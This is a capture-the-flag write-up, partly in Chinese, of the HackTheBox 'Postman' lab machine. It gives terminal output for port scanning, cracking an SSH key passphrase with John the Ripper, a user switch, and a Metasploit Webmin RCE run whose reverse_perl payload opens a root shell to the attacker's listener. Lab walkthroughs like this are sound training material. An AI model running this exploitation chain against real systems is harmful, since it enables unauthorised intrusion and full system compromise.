┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p- --min-rate=10000 10.10.10.160 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-16 23:39 CST Warning: 10.10.10.160 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.160 Host is up (0.32s latency). Not shown: 53457 closed tcp ports (reset), 12074 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: The Cyber Geek's Personal Website |_http-server-header: Apache/2.4.29 (Ubuntu) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). |_http-server-header: MiniServ/1.910 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 105.63 seconds
┌──(kali㉿kali)-[~/桌面] └─$ ssh -i ~/.ssh/id_rsa redis@10.10.10.160 The authenticity of host '10.10.10.160 (10.10.10.160)' can't be established. ED25519 key fingerprint is SHA256:eBdalosj8xYLuCyv0MFDgHIabjJ9l3TMv1GYjZdxY9Y. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.160' (ED25519) to the list of known hosts. Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis) redis@Postman:~$ ls -la /home total 12 drwxr-xr-x 3 root root 4096 Sep 11 2019 . drwxr-xr-x 22 root root 4096 Sep 30 2020 .. drwxr-xr-x 6 Matt Matt 4096 Sep 11 2019 Matt redis@Postman:~$
┌──(kali㉿kali)-[~/桌面] └─$ sudo john ./hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 3 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (id_rsa.bak) 1g 0:00:00:00 DONE (2023-12-17 00:10) 7.692g/s 1898Kp/s 1898Kc/s 1898KC/s concubine..comett Use the "--show" option to display all of the cracked passwords reliably Session completed.
redis@Postman:~$ ls /home Matt redis@Postman:~$ su Matt Password: Matt@Postman:/var/lib/redis$ cd ~ Matt@Postman:~$ cat user.txt 11c882e77a80e09508d34ca8b8d336d3 Matt@Postman:~$
# This is the sshd server system-wide configuration file. See # sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value.
Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here! PasswordAuthentication yes #PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no
# Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no
# GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes
#AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none
#deny users ----------- 因为这行的原因 DenyUsers Matt
# no default banner path #Banner none
# Allow client to pass locale environment variables AcceptEnv LANG LC_*
# override default of no subsystems Subsystem sftp /usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server Matt@Postman:~$
0x02 系统权限获取
13、通过访问 10000 端口发现了一些信息
http://10.10.10.160:10000/
14、本地设置下hosts再次访问
1 2 3
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.10.160 Postman" | sudo tee -a /etc/hosts 10.10.10.160 Postman
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_packageup_rce
msf6 > use exploit/linux/http/webmin_packageup_rce [*] Using configured payload cmd/unix/reverse_perl msf6 exploit(linux/http/webmin_packageup_rce) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:h ost:port][...] RHOSTS yes The target host(s), see https://docs.metasploi t.com/docs/using-metasploit/basics/using-metas ploit.html RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME yes Webmin Username VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Webmin <= 1.910
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008 PASSWORD => computer2008 msf6 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 10.10.10.160 RHOSTS => 10.10.10.160 msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt USERNAME => Matt msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.14.10 LHOST => 10.10.14.10 msf6 exploit(linux/http/webmin_packageup_rce) > run
[*] Started reverse TCP handler on 10.10.14.10:4444 [+] Session cookie: 777dce079d3dccfe40fd4dcb646f5f71 [*] Attempting to execute the payload... [*] Command shell session 1 opened (10.10.14.10:4444 -> 10.10.10.160:43086) at 2023-12-17 00:52:35 +0800
id uid=0(root) gid=0(root) groups=0(root) cd /root/root.txt cat /root/root.txt 5c456efc266deccdf22e3c5717b48393